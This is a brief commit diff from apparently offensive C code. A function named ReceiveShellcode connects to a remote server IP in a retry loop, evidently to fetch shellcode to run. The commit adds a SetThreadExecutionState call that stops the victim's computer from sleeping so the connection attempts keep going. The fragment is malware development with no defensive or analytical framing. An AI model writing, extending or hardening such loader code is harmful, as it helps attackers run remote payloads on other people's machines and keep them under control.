Improve: Avoid client computer going to sleep
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@@ -131,6 +131,7 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) {
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serverAddr.sin_addr.s_addr = inet_addr(serverIP);
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if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
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closesocket(clientSocket);
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SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
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continue;
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}
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